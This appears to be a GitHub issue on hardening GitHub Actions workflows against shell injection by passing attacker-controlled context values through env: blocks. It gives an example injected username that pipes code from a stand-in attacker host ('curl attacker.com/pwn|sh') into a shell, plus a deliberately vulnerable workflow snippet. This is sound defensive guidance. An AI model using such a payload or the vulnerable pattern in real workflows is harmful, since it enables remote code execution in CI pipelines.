Skip to content

Security: pass attacker-controllable GitHub context values through env: in workflows #3371

@smolpaws

Description

@smolpaws

Problem

GitHub Actions workflows that use ${{ }} expression interpolation directly inside run: shell blocks are vulnerable to shell injection when the interpolated value is attacker-controllable.

For example, a username like evil$(curl attacker.com/pwn|sh) would execute arbitrary code:

# ❌ VULNERABLE — attacker-controlled value expands in shell
run: echo "PR by ${{ github.event.pull_request.user.login }}"

Fix

Always pass attacker-influenced values through the env: block. The value arrives as a literal bash variable, not a shell expansion:

# ✅ SAFE — value flows through env, no shell expansion
env:
  PR_USER: ${{ github.event.pull_request.user.login }}
run: echo "PR by $PR_USER"

What to audit

Any ${{ }} expression inside a run: block that references attacker-controllable data:

Source Examples
Usernames github.event.pull_request.user.login, github.event.issue.user.login
PR/issue content github.event.pull_request.title, github.event.pull_request.body, github.event.issue.title
Branch/tag names github.event.pull_request.head.ref, github.ref_name
Commit messages github.event.head_commit.message
Review comments github.event.review.body, github.event.comment.body

Pattern to search for

# Find potentially vulnerable patterns in workflow files
grep -rn '\${{.*github\.event\.' .github/workflows/ | grep 'run:'

How to fix each occurrence

  1. Move the ${{ }} expression from run: into an env: block on the same step
  2. Reference it as $ENV_VAR in the shell instead
  3. If the value is used in a step output (echo "name=value" >> $GITHUB_OUTPUT), the output itself becomes attacker-influenced — downstream steps consuming that output via ${{ steps.X.outputs.Y }} in their own run: blocks need the same env: treatment

References

Metadata

Metadata

Assignees

No one assigned

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions